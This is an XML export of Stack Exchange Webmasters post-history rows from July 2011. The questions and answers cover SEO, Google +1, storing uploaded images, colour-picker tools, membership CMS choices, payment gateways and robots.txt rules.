  <row Id="38725" PostHistoryTypeId="5" PostId="16275" RevisionGUID="ec1afeee-c7ee-45c5-b9d2-73ddcc6b9813" CreationDate="2011-07-01T11:08:41.697" UserId="7198" Comment="added 218 characters in body" Text="**Go for it.** If you like your own content, there seems little reason (beyond retaining some sense of modesty) not to recommend it to your friends.&#xD;&#xA;&#xD;&#xA;There's no logical reason for Google to penalise you for plus-one-ing&lt;sup&gt;1&lt;/sup&gt; your own sites, just as there's no logical reason for Facebook to penalise you for liking your own Facebook page. Google +1 is currently used only to provide recommendations within search results for people Google thinks you may know, not to increase your position.&#xD;&#xA;&#xD;&#xA;From [&quot;how does +1 affect search results&quot;](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=1140194):&#xD;&#xA;&#xD;&#xA;&gt; +1 helps people discover relevant content from the people they&#xD;&#xA;&gt; already know and trust. Adding the +1&#xD;&#xA;&gt; button to your pages lets users&#xD;&#xA;&gt; recommend your content, knowing that&#xD;&#xA;&gt; their friends and contacts will see&#xD;&#xA;&gt; their recommendation in the context of Google&#xD;&#xA;&gt; search results.&#xD;&#xA;&#xD;&#xA;As such, the only thing clicking +1 on your sites will do is to put your name next to your site if a person Google thinks is connected to you (e.g. a user logged into Gmail who you've contacted before) does a search that results in your site appearing in the results.&#xD;&#xA;&#xD;&#xA;It's possible that Google may use +1 as part of their ranking algorithm in future but, even if they did, a single recommendation from one user -- regardless of who it is -- is unlikely to make much difference anyway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&lt;sup&gt;1: There must be a better verb for this, but I can't think of one.&lt;/sup&gt;" />
  <row Id="38726" PostHistoryTypeId="5" PostId="16175" RevisionGUID="84bb93c7-4c65-4986-9285-7f21a347cc90" CreationDate="2011-07-01T11:14:30.570" UserId="233" Comment="removed &quot;code&quot; markup for non-code" Text="Your `title` tag should be different on each page for at least two reasons:&#xD;&#xA;&#xD;&#xA;1. This is the text shown when you bookmark a page.  If it is all the same and the user bookmarks several pages, then they see the same text in each bookmark.&#xD;&#xA;2. Google uses the `title` to *know how the page is distinct from the others on your site.*  See Google's [Search Engine Optimization Starter Guide][1] (pdf). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="38727" PostHistoryTypeId="5" PostId="16263" RevisionGUID="aa3db4bd-7e94-4736-b409-4dafa0da3e67" CreationDate="2011-07-01T11:39:35.697" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Renaming a domain and preserving PageRank](http://webmasters.stackexchange.com/questions/3399/renaming-a-domain-and-preserving-pagerank)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have two blogger's blog. (http://chankeypathak.blogspot.com and http://javaenthusiastic.blogspot.com)&#xD;&#xA;&#xD;&#xA;One blog has PR 3 and the other blog has PR 2.&#xD;&#xA;&#xD;&#xA;I want to buy the domain for both blogs so that they will become&#xD;&#xA;&#xD;&#xA;http://chankeypathak.com/ and http://javaenthusiastic.com/&#xD;&#xA;&#xD;&#xA;I will follow all the procedures that Blogger suggests so that all the visitors to http://chankeypathak.blogspot.com will be redirected to http://chankeypathak.com/ and same for the java's blog.&#xD;&#xA;&#xD;&#xA;I just want to know that whether this will affect my pagerank or not? I want my PR to remain same and not to be change because of domain change.&#xD;&#xA;&#xD;&#xA;Let me know. Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: I don't know whether one person is allowed to post his site's URL in questions or not. If it is not allowed then you may edit the question." />
  <row Id="38728" PostHistoryTypeId="10" PostId="16263" RevisionGUID="ef775075-06c7-4f35-a832-ebbcccc537f9" CreationDate="2011-07-01T11:39:35.150" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38729" PostHistoryTypeId="2" PostId="16277" RevisionGUID="9170296f-a2b7-4a06-87d8-90def9697abc" CreationDate="2011-07-01T12:08:18.420" UserId="5134" Text="I have an image (not gradient) color, I tried to identify the color code but not possible. Is there any tool to convert image to css or css color code? " />
  <row Id="38730" PostHistoryTypeId="1" PostId="16277" RevisionGUID="9170296f-a2b7-4a06-87d8-90def9697abc" CreationDate="2011-07-01T12:08:18.420" UserId="5134" Text="Any tool for image to CSS?" />
  <row Id="38731" PostHistoryTypeId="3" PostId="16277" RevisionGUID="9170296f-a2b7-4a06-87d8-90def9697abc" CreationDate="2011-07-01T12:08:18.420" UserId="5134" Text="&lt;css&gt;&lt;tools&gt;&lt;image&gt;&lt;conversions&gt;" />
  <row Id="38732" PostHistoryTypeId="2" PostId="16278" RevisionGUID="e2db1044-2840-4541-b7f1-12bdd1548e70" CreationDate="2011-07-01T12:10:54.233" UserId="7198" Text="&gt; **Question 1:** How should I go about&#xD;&#xA;&gt; storing the image filenames if the&#xD;&#xA;&gt; user can upload multiple photos for a&#xD;&#xA;&gt; particular review? Serialize?&#xD;&#xA;&#xD;&#xA;You could:&#xD;&#xA;&#xD;&#xA;1. Comma-separate the filenames and store them in a single `images` field in the `review` table. When you retrieve images for display, split the `images` string by comma and loop through that array to lay out the images. (If there's only one image, this will still work.)&#xD;&#xA;&#xD;&#xA;2. Create a separate table called `images` or `review_images` and store each image on its own row, as you suggest in your second question.&#xD;&#xA;&#xD;&#xA;&gt; **Question 2:** Or have another table&#xD;&#xA;&gt; review_images with columns review_id,&#xD;&#xA;&gt; image_id, image_filename just for&#xD;&#xA;&gt; tracking images? Will doing a JOIN&#xD;&#xA;&gt; when retriving the image_filename from&#xD;&#xA;&gt; this table slow down performance&#xD;&#xA;&gt; noticeably?&#xD;&#xA;&#xD;&#xA;You're unlikely to take a noticeable performance hit for using a simple JOIN. Any small performance hits you do take could be negated or reduced by caching queries and serving static HTML.&#xD;&#xA;&#xD;&#xA;&gt; **Question 3:** Should all the images be&#xD;&#xA;&gt; stored in a single folder? &#xD;&#xA;&#xD;&#xA;I would suggest that you either:&#xD;&#xA;&#xD;&#xA;1. Create a single folder for each user in your `/uploads/` directory when they upload their first file.&#xD;&#xA;2. Create a new folder each month (automatically as part of your upload script), and upload images there. This is what WordPress does by default.&#xD;&#xA;&#xD;&#xA;This reduces the chance of hitting directory limits on the number of files.&#xD;&#xA;&#xD;&#xA;&gt; Will there be a problem when we have 100K photos&#xD;&#xA;&gt; in the same folder?&#xD;&#xA;&#xD;&#xA;Possibly, depending upon the filesystem your server uses. There are limits on the number of files you can have in a single directory. FAT32, for example, has a limit of 65,535 files per folder. See [&quot;How many files in a directory is too many?&quot;](http://stackoverflow.com/questions/466521/how-many-files-in-a-directory-is-too-many/466596#466596) on Stack Overflow. Note that using folders as I suggest above reduces the danger of hitting directory limits.&#xD;&#xA;&#xD;&#xA;&gt; Is there a more efficient way to go about doing this?&#xD;&#xA;&#xD;&#xA;You don't need to store image data in your database at all if you follow a simple convention. When a user uploads a profile image, for example, you could rename it to `profile.jpg`, then upload it to `/uploads/users/username/`. Now you only need the user's username to grab their profile image. You don't need to store a reference to the image in the database any more.&#xD;&#xA;&#xD;&#xA;Likewise, when the user uploads images for a review, you could store those images in a folder called `/uploads/reviews/13/`. The number 13 at the end would be the review ID -- the unique ID of that review as it's stored in the database table. To display those images, the review ID is all you'd need to retrieve those images. (To find out what images are in a folder, you can scan the directory. With PHP, you use [scandir()](http://php.net/manual/en/function.scandir.php), for example.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38733" PostHistoryTypeId="2" PostId="16279" RevisionGUID="3bb07675-9ab6-44b6-8e82-62fd8a668990" CreationDate="2011-07-01T12:15:33.013" UserId="1253" Text="Any graphics program like Photoshop or Gimp can tell you what the hex code or RGB that color is." />
  <row Id="38734" PostHistoryTypeId="2" PostId="16280" RevisionGUID="f89bec72-0f57-4dee-8874-0a1428ed324d" CreationDate="2011-07-01T12:16:38.417" UserId="8354" Text="You need eyedropper kind of tool, for example:&#xD;&#xA;&#xD;&#xA; - Open image in Adobe Photoshop/Fireworks and use Eyedropper tool&#xD;&#xA; - [ColorZilla](http://www.colorzilla.com/firefox/) extension for Firefox&#xD;&#xA; - [Eye Dropper](https://chrome.google.com/webstore/detail/hmdcmlfkchdmnmnmheododdhjedfccka) extension for Google Chrome&#xD;&#xA; - [EyeDropper](http://www.inetia.com/en/eyedropper/about-program/) standalone Windows application.&#xD;&#xA; - [ColorPic](http://www.iconico.com/colorpic/) for Windows" />
  <row Id="38735" PostHistoryTypeId="2" PostId="16281" RevisionGUID="9015256c-8b77-4d1d-94fa-86e81fc9193b" CreationDate="2011-07-01T12:21:30.240" UserId="231" Text="On Mac: the built-in DigitalColor Meter.&lt;br /&gt;&#xD;&#xA;On Windows: [ColorPic][1]&#xD;&#xA;&#xD;&#xA; [1]: http://iconico.com/colorpic/" />
  <row Id="38736" PostHistoryTypeId="5" PostId="16278" RevisionGUID="c8c04b1c-a803-46c0-bdaf-5c4af544f3c1" CreationDate="2011-07-01T12:24:23.630" UserId="7198" Comment="added 137 characters in body" Text="Short answer: no need store the image filename in the database. Just rename the file they upload to `theirusername.jpg` and store it in `/uploads/users/`. Longer answer below.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;&gt; **Question 1:** How should I go about&#xD;&#xA;&gt; storing the image filenames if the&#xD;&#xA;&gt; user can upload multiple photos for a&#xD;&#xA;&gt; particular review? Serialize?&#xD;&#xA;&#xD;&#xA;You could:&#xD;&#xA;&#xD;&#xA;1. Comma-separate the filenames and store them in a single `images` field in the `review` table. When you retrieve images for display, split the `images` string by comma and loop through that array to lay out the images. (If there's only one image, this will still work.)&#xD;&#xA;&#xD;&#xA;2. Create a separate table called `images` or `review_images` and store each image on its own row, as you suggest in your second question.&#xD;&#xA;&#xD;&#xA;&gt; **Question 2:** Or have another table&#xD;&#xA;&gt; review_images with columns review_id,&#xD;&#xA;&gt; image_id, image_filename just for&#xD;&#xA;&gt; tracking images? Will doing a JOIN&#xD;&#xA;&gt; when retriving the image_filename from&#xD;&#xA;&gt; this table slow down performance&#xD;&#xA;&gt; noticeably?&#xD;&#xA;&#xD;&#xA;You're unlikely to take a noticeable performance hit for using a simple JOIN. Any small performance hits you do take could be negated or reduced by caching queries and serving static HTML.&#xD;&#xA;&#xD;&#xA;&gt; **Question 3:** Should all the images be&#xD;&#xA;&gt; stored in a single folder? &#xD;&#xA;&#xD;&#xA;I would suggest that you either:&#xD;&#xA;&#xD;&#xA;1. Create a single folder for each user in your `/uploads/` directory when they upload their first file.&#xD;&#xA;2. Create a new folder each month (automatically as part of your upload script), and upload images there. This is what WordPress does by default.&#xD;&#xA;&#xD;&#xA;This reduces the chance of hitting directory limits on the number of files.&#xD;&#xA;&#xD;&#xA;&gt; Will there be a problem when we have 100K photos&#xD;&#xA;&gt; in the same folder?&#xD;&#xA;&#xD;&#xA;Possibly, depending upon the filesystem your server uses. There are limits on the number of files you can have in a single directory. FAT32, for example, has a limit of 65,535 files per folder. See [&quot;How many files in a directory is too many?&quot;](http://stackoverflow.com/questions/466521/how-many-files-in-a-directory-is-too-many/466596#466596) on Stack Overflow. Note that using folders as I suggest above reduces the danger of hitting directory limits.&#xD;&#xA;&#xD;&#xA;&gt; Is there a more efficient way to go about doing this?&#xD;&#xA;&#xD;&#xA;You don't need to store image data in your database at all if you follow a simple convention. When a user uploads a profile image, for example, you could rename it to `profile.jpg`, then store it in `/uploads/users/username/`. Now you only need the user's username to grab their profile image. You don't need to store a reference to the image in the database any more. (Or you could just name the image `theirusername.jpg` and store it in `/uploads/users/` -- pick whatever convention makes sense to you.)&#xD;&#xA;&#xD;&#xA;Likewise, when the user uploads images for a review, you could store those images in a folder called `/uploads/reviews/13/`. The number 13 at the end would be the review ID -- the unique ID of that review as it's stored in the database table. To display those images, the review ID is all you'd need to retrieve those images. (To find out what images are in a folder, you can scan the directory. With PHP, you use [scandir()](http://php.net/manual/en/function.scandir.php), for example.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38737" PostHistoryTypeId="25" PostId="16272" RevisionGUID="657dd85c-8d80-4b3c-aee5-d88ec85c017a" CreationDate="2011-07-01T12:26:31.713" Comment="http://twitter.com/#!/StackWebmasters/status/86772668933742593" />
  <row Id="38738" PostHistoryTypeId="2" PostId="16282" RevisionGUID="abd8240e-4a26-44eb-b857-e7757181541b" CreationDate="2011-07-01T12:38:39.013" UserId="7588" Text="I recommend Drupal with CiviCRM. This enables you to do all kinds of things, the CiviMember part:&#xD;&#xA;&#xD;&#xA; 1. Configure any number of membership&#xD;&#xA;    types or levels for one or more&#xD;&#xA;    organizations and/or chapters of an&#xD;&#xA;    organization.&#xD;&#xA; 2. Customize membership statuses and&#xD;&#xA;    rules.&#xD;&#xA; 3. Create customized web pages for&#xD;&#xA;    self-service membership signup and&#xD;&#xA;    renewal.&#xD;&#xA; 4. Search and list memberships by date,&#xD;&#xA;    type, status, contact info including&#xD;&#xA;    name and address.&#xD;&#xA;&#xD;&#xA;The real bonus is with CiviMail - you can email everyone with nice newsletters etc. The features are up there with the paid for newsletter thingies.&#xD;&#xA;&#xD;&#xA;You also get CiviEvent - you can sell tickets to events etc.&#xD;&#xA;&#xD;&#xA;http://civicrm.org/&#xD;&#xA;&#xD;&#xA;It is the de-facto package for organising political campaigns in the U.S.&#xD;&#xA;&#xD;&#xA;As for who uses it, have you heard of Wikipedia? They use it for their fundraising and they are quite big, apparently, not that I have heard of them myself...&#xD;&#xA;&#xD;&#xA;As for coming from Wordpress, there is a bit of a learning curve with Drupal but the CiviCRM stuff is dead easy with a vibrant, helpfuls community for when you get stuck." />
  <row Id="38739" PostHistoryTypeId="2" PostId="16283" RevisionGUID="5ffd8f7f-bbef-46ce-b14f-6da60996862a" CreationDate="2011-07-01T12:50:55.937" UserId="205" Text="Store the information about the image in the database (username, image id, filename) and grab this with a JOIN.&#xD;&#xA;&#xD;&#xA;[This thread on Stack Overflow][1] discusses the same idea, although I couldn't find the exact thread I wanted to reference, which gives better explanations.  Michael Andrews explains in [his blog][2] some of the actual practice of how to implement a scheme like this...&#xD;&#xA;&#xD;&#xA;The basic idea is that you store the image by hashing the image contents and using that hash as the filename.&#xD;&#xA;&#xD;&#xA; - Let's say your user uploads 'LazyCat.jpg' as their image.&#xD;&#xA; - The SHA1 hash for that image could be 'ac17c9e81fc3789ab6b8c1f3325d789e9aa3daaf'&#xD;&#xA; - On your server, you have an image directory 'images' Under images are the subdirectories for the first few digits of the hashes, e.g. '/images/0000', '/images/0001/', ..., '/images/a3df/', ..., '/images/ffff/'&#xD;&#xA; - Follow this pattern (to keep number of files in a directory smaller) and save your file in the corresponding directory, in this case '/images/ac17/ac17c9e81fc3789ab6b8c1f3325d789e9aa3daaf'&#xD;&#xA; - In your database, save the user id and corresponding filename.&#xD;&#xA;&#xD;&#xA;If multiple people upload the same image it only get's stored once on the server.  Whenever you have no more references in your database to that filename, you are free to delete it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2336862/organizing-thousands-of-images-on-a-server&#xD;&#xA;  [2]: http://michaelandrews.typepad.com/the_technical_times/2009/10/creating-a-hashed-directory-structure.html" />
  <row Id="38740" PostHistoryTypeId="2" PostId="16284" RevisionGUID="18327d2f-e83b-4894-b1d8-13b7a97313ec" CreationDate="2011-07-01T12:53:00.303" UserId="7588" Text="I would like to give customers the option of paying however they can whether that be through a proper gateway (e.g. SagePay) or through something else such as PayPal, Amazon Checkout or Google Checkout.&#xD;&#xA;&#xD;&#xA;Personally I have not bought anything through the Amazon Checkout except for on Amazon.co.uk and my PayPal buys have been limited. As for Google Checkout I have no idea what that is or how it works from a consumer perspective.&#xD;&#xA;&#xD;&#xA;I understand that people buying from smaller sites are happier to pay by PayPal as they have an account already and trust PayPal.&#xD;&#xA;&#xD;&#xA;As for Amazon Payments and Google Checkout, do people actually use them if given the choice? There are a lot of people on Kindles these days, happy to buy stuff via Amazon on their Kindle. Would Amazon Payments make sense to this growing crowd?&#xD;&#xA;&#xD;&#xA;With too many payment gateways on offer it might be confusing at the checkout. Does anyone know if this is a problem for genuine customers?&#xD;&#xA;&#xD;&#xA;I also have not seen many 'pay by Amazon Payments' icons on websites (you see PayPal all the time). Does advertising the fact that you can pay by Amazon Payments increase sales, e.g. to Kindle owners that have a nebulous book-buying account that 'their other half doesn't know about'?" />
  <row Id="38741" PostHistoryTypeId="1" PostId="16284" RevisionGUID="18327d2f-e83b-4894-b1d8-13b7a97313ec" CreationDate="2011-07-01T12:53:00.303" UserId="7588" Text="What payment gateways do real customers really use when given the choice?" />
  <row Id="38742" PostHistoryTypeId="3" PostId="16284" RevisionGUID="18327d2f-e83b-4894-b1d8-13b7a97313ec" CreationDate="2011-07-01T12:53:00.303" UserId="7588" Text="&lt;payment-gateway&gt;" />
  <row Id="38743" PostHistoryTypeId="5" PostId="16265" RevisionGUID="f5dd0388-37c6-466e-ac24-ae58d9e1abbb" CreationDate="2011-07-01T13:15:48.170" UserId="1253" Comment="modified tags, minor text edits" Text="I have been told Joomla but I am partial to WordPress. Can anyone let me know the best membership CMS, its plus points and any big sites running it?" />
  <row Id="38744" PostHistoryTypeId="6" PostId="16265" RevisionGUID="f5dd0388-37c6-466e-ac24-ae58d9e1abbb" CreationDate="2011-07-01T13:15:48.170" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="38745" PostHistoryTypeId="2" PostId="16285" RevisionGUID="e1d70cd8-ddee-4f86-8740-a79d28f6550c" CreationDate="2011-07-01T13:26:30.423" UserId="1253" Text="People will use whatever form of payment they are most comfortable with. So the more payment options you offer, the more likely a user is to make a purchase on your website. The downside to this, for you as the webmaster (or owner) of that website is you have multiple sources of payments that you need to integrate and test as well as reconcile your books to.&#xD;&#xA;&#xD;&#xA;Offering your customer multiple ways to pay is only as confusing as you make it. If you clearly display their options to them it should be very easy for them to make payment. Making your payment options page very visual (i.e. images/logos of Paypal, and Amazon, Google Checkout, and credit card images for the major credit cards you take if you are also using a true merchant account) is an important part of that process. Making the checkout process as similar as possible for all of your payment methods is also a good idea. Naturally you have little control of the customer experience if they have to leave your site to make payment on the third party processor's website (i.e. Paypal) but you do control everything up to and after they leave your site.&#xD;&#xA;&#xD;&#xA;No one can tell you for sure that using Amazon, or any other payment provider, will increase sales because just offering it doesn't necessarily mean it will increase sales. How you present the payment options and your type of customer will have the most influence on whether offering a specific payment processor will increase sales. For example, if your clientele are typical eBay users then offering Paypal as a payment option will definitely increase sales. If your clientele are readers or academics, offering Amazon probably will increase sales, etc.&#xD;&#xA;&#xD;&#xA;Since most third party payment providers do not have set up or monthly fees it is worth offering them to your customers. Then you can see which ones perform well and which ones do not. You can later drop the poorly performing ones to make your checkout less cluttered and easier to use." />
  <row Id="38746" PostHistoryTypeId="2" PostId="16286" RevisionGUID="c288a099-9393-4f46-8b86-370643d2f1ba" CreationDate="2011-07-01T13:33:10.597" UserId="8354" Text="I will talk about personal experience only.&#xD;&#xA;&#xD;&#xA;We have a few e-commerce sites that sell retail computer software in different countries (UK, USA, Australia). I will use UK as an example.&#xD;&#xA;&#xD;&#xA;We use SagePay as payment processing gateway. We also have Google Checkout implemented. When customer is on a Basket page he has a choice of &quot;Checkout Now&quot; using our won checkout process (payments will be via SagePay) or Google Checkout (where he gets redirected on Google site and does the rest there).&#xD;&#xA;&#xD;&#xA;The results: in average maybe 1 out of 50-60 orders gets placed using **Google Checkout**. If per month we can make 400-500K worth of sales using our own checkout process, Google Checkout makes max 20K. I have to mention that about 40% of orders are made by returning customers (regular .. or those who have more than 1-2 orders, even if they placing it once a year).&#xD;&#xA;&#xD;&#xA;**PayPal** -- we got asked 2-3 times a month if they can pay using PayPal .. but company does not want to deal with it (I don't remember exact explanation but it has something to do hight rates, the fact that PayPal can easily suspend your account in case of complaint (even if it is a ridiculous complaint -- like &quot;I have ordered it midnight why don't I have it delivered it at 9AM&quot;) and the hassle of proving that you are not &quot;an elephant&quot; afterwards).&#xD;&#xA;&#xD;&#xA;But if we would have it (PayPal) on our site, I would imagine that it will beat Google Checkout with ease: it is well known, possibly everyone has an account already.&#xD;&#xA;&#xD;&#xA;Taking all this together it is definite that SagePay works best for us,especially in terms of charges: If customer pays by Debit Card you pay just 10p for a transaction; Credit Card -- around 2.2% (that's depends on you actual agreement and is different for each company, how much transactions per month you have, the amounts etc) or around 1.3% if transaction is 3D-Secure -- each company get their own rates -- those are just approximations." />
  <row Id="38747" PostHistoryTypeId="5" PostId="16286" RevisionGUID="37220628-4401-463c-a3b4-516649de2abe" CreationDate="2011-07-01T13:41:08.643" UserId="8354" Comment="added 35 characters in body" Text="I will talk about personal experience only.&#xD;&#xA;&#xD;&#xA;We have a few e-commerce sites that sell retail computer software in different countries (UK, USA, Australia). I will use UK as an example.&#xD;&#xA;&#xD;&#xA;We use SagePay as payment processing gateway. We also have Google Checkout implemented. When customer is on a Basket page he has a choice of &quot;Checkout Now&quot; using our own checkout process (payments will be processed via SagePay) or Google Checkout (where he gets redirected on Google site and does the rest there).&#xD;&#xA;&#xD;&#xA;The results: in average maybe 1 out of 50-60 orders gets placed using **Google Checkout**. If per month we can make,lets say, 400-500K worth of sales using our own checkout process, Google Checkout makes max 20K. _I have to mention that about 40% of orders are made by returning customers (regular .. or those who have more than 1-2 orders, even if they placing it once a year)._&#xD;&#xA;&#xD;&#xA;**PayPal** -- we got asked 2-3 times a month if they can pay using PayPal .. but company does not want to deal with it (I don't remember exact explanation but it has something to do hight rates, the fact that PayPal can easily suspend your account in case of complaint (even if it is a ridiculous complaint -- like &quot;I have ordered it midnight why don't I have it delivered it by 9AM&quot;) and the hassle of proving that you are not &quot;an elephant&quot; afterwards).&#xD;&#xA;&#xD;&#xA;But if we would have it (PayPal) implemented on our site, I would imagine that it will beat Google Checkout with ease: it is well known, possibly everyone has an account already.&#xD;&#xA;&#xD;&#xA;Taking all this together it is definite that SagePay works best for us, especially in terms of charges: If customer pays by Debit Card you pay just 10p for a transaction; Credit Card -- around 2.2% (that's depends on you actual agreement and is different for each company, how much transactions per month you have, the amounts etc) or around 1.3% if transaction is 3D-Secure -- each company get their own rates -- those are just approximations." />
  <row Id="38748" PostHistoryTypeId="2" PostId="16287" RevisionGUID="a9397a01-e04e-4ca0-8200-aab028349de2" CreationDate="2011-07-01T13:52:40.333" UserId="6353" Text="There are a few online tools that will allow you to extract color palettes from a photo or other image.  You'll get an output of what the dominant colors are in the image (as there are millions of colors).&#xD;&#xA;Try [ColorSuckr][1] and [CSS Drive Color Palette Generator][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://colorsuckr.com/&#xD;&#xA;  [2]: http://www.cssdrive.com/imagepalette/index.php" />
  <row Id="38749" PostHistoryTypeId="2" PostId="16288" RevisionGUID="a2a9bebd-3e09-48fc-9a50-20b3cfdd453c" CreationDate="2011-07-01T14:01:59.737" UserId="8736" Text="I have developed my [website][1] few months ago and I added meta tags and described everything as much as I could but my site is still not on the top when I search kashif ejaz on google. Please help !&#xD;&#xA;&#xD;&#xA;Thanks in advance :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kashifejaz.com" />
  <row Id="38750" PostHistoryTypeId="1" PostId="16288" RevisionGUID="a2a9bebd-3e09-48fc-9a50-20b3cfdd453c" CreationDate="2011-07-01T14:01:59.737" UserId="8736" Text="How can I bring my website up in the google search result ?" />
  <row Id="38751" PostHistoryTypeId="3" PostId="16288" RevisionGUID="a2a9bebd-3e09-48fc-9a50-20b3cfdd453c" CreationDate="2011-07-01T14:01:59.737" UserId="8736" Text="&lt;seo&gt;&lt;google&gt;&lt;search&gt;" />
  <row Id="38752" PostHistoryTypeId="2" PostId="16289" RevisionGUID="5899fe5b-7971-4997-bd8d-226c6c914818" CreationDate="2011-07-01T14:03:46.527" UserId="8735" Text="There are some great answers already available, but I wanted to give you another perspective. I've been developing Wordpress and Joomla sites for years, and I do appreciate Wordpress quite a bit. The downside, though, is that Wordpress is a dog. It is slow. Since you are partial to it, I'll respond about it specifically.&#xD;&#xA;&#xD;&#xA;Sure there are plugins that enable caching, but the real truth is that for every page viewed by a user, it requires the server accessing hundreds of files which then require even more memory to process. Even the caching plugins don't hold a candle to a custom developed system when it comes to speed.&#xD;&#xA;&#xD;&#xA;What I've done for my clients is to give them the best of both worlds. I develop a custom frontend which does not use anything from Wordpress, except the database. This gives me full control and I don't have to worry about their framework or updates (unless there is a database change). And the client still can use the Wordpress administration section as normal (except some plugins need to be converted).&#xD;&#xA;&#xD;&#xA;If you are planning to have a large number of visitors, it might be the best route, or you risk having your server crash when someone submits a link to reddit or the like. The downside is that type of development is costly.&#xD;&#xA;&#xD;&#xA;I can't provide samples of what my clients sites are, but I certainly have seen Wordpress being used for Rand Paul:&#xD;&#xA;http://www.randpaul2010.com/&#xD;&#xA;&#xD;&#xA;The page source tells us they use WP-Super-Cache, which helps a ton to speed things up. If you don't have a large budget, Wordpress combined with WP-Super-Cache would work too and save you the need for a custom frontend." />
  <row Id="38753" PostHistoryTypeId="5" PostId="16288" RevisionGUID="f0d9a280-0f99-4d69-9b90-0532bc4e53bc" CreationDate="2011-07-01T14:06:32.713" UserId="1253" Comment="deleted 65 characters in body" Text="I have developed my website few months ago and I added meta tags and described everything as much as I could but my site is still not on the top when I search kashif ejaz on google. Please help !&#xD;&#xA;" />
  <row Id="38754" PostHistoryTypeId="5" PostId="16288" RevisionGUID="811536a4-8df6-4672-8aaf-bfdc2c4742f5" CreationDate="2011-07-01T14:06:38.627" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have developed my website few months ago and I added meta tags and described everything as much as I could but my site is still not on the top when I search kashif ejaz on google. Please help !&#xD;&#xA;" />
  <row Id="38755" PostHistoryTypeId="10" PostId="16288" RevisionGUID="69a8871e-f675-4cce-8abb-28bdf69f6786" CreationDate="2011-07-01T14:06:38.190" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38761" PostHistoryTypeId="5" PostId="16008" RevisionGUID="4bc2e878-2f7c-443d-9119-2790860c1912" CreationDate="2011-07-01T14:16:57.947" UserId="1950" Comment="Formatting for readability." Text="I would nearly always buy on lowest price, but service is important too.&#xD;&#xA;&#xD;&#xA;Laying aside the really expensive registrars and also the really crappy services, both of which I would simply avoid, I think the most important thing for me is quality/style/structure/capability etc of the *domains control panel and support system*. If I get a high quality control panel for my domains which has a fair bit of capability and this is backed up with quality support and a decent help/knowledge base/community then that's what I’d be paying money for. However, to be honest though, the cheaper providers often give more in this regard, which is why I tend to just buy on price in the end." />
  <row Id="38762" PostHistoryTypeId="24" PostId="16008" RevisionGUID="4bc2e878-2f7c-443d-9119-2790860c1912" CreationDate="2011-07-01T14:16:57.947" Comment="Proposed by 1950 approved by 1253 edit id of 424" />
  <row Id="38763" PostHistoryTypeId="5" PostId="16109" RevisionGUID="d6920401-d403-4d32-a709-c5f634bf6afc" CreationDate="2011-07-01T14:17:34.577" UserId="8735" Comment="Updated the post" Text="A SEO firm suggested changing the robots.txt to:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;&#xD;&#xA;    Disallow: /*/&#xD;&#xA;    Allow: /ims/&#xD;&#xA;&#xD;&#xA;I'm not sure what that would do, but my guess is that is would tell all robots to index nothing but the ims folder. I understand the wildcard, but I'm confused by the slashes and don't know how they would play out in conjunction with the wildcard.&#xD;&#xA;&#xD;&#xA;*** Update ***&#xD;&#xA;I didn't mention that there is a sitemap listed in the robots.txt file, but according to one tech blogger, he realized that sitemaps trump robots exclusions. So, even though this says in Google Webmaster Tools that everything with a trailing slash will not be indexed, the sitemap contains the important links.&#xD;&#xA;&#xD;&#xA;I did notice that the link count on Google went from 360 to 336, and the sitemap links under the URL scaled back to 3 from 6. I'm not sure the cause or what links were removed, though. Perhaps it cleaned out garbage.&#xD;&#xA;&#xD;&#xA;I'm still clueless why they would add in 'Allow: /ims/', that seems pointless.&#xD;&#xA;&#xD;&#xA;And a quick list of what would index according to the robots rules above (withouth the sitemap) using /*/:&#xD;&#xA;&#xD;&#xA;domain.com Indexed&#xD;&#xA;domain.com/page.html Indexed&#xD;&#xA;domain.com/folder/ Not Indexed&#xD;&#xA;domain.com/folder/page.html Not Indexed" />
  <row Id="38764" PostHistoryTypeId="24" PostId="16109" RevisionGUID="d6920401-d403-4d32-a709-c5f634bf6afc" CreationDate="2011-07-01T14:17:34.577" Comment="Proposed by 8735 approved by 1253 edit id of 425" />
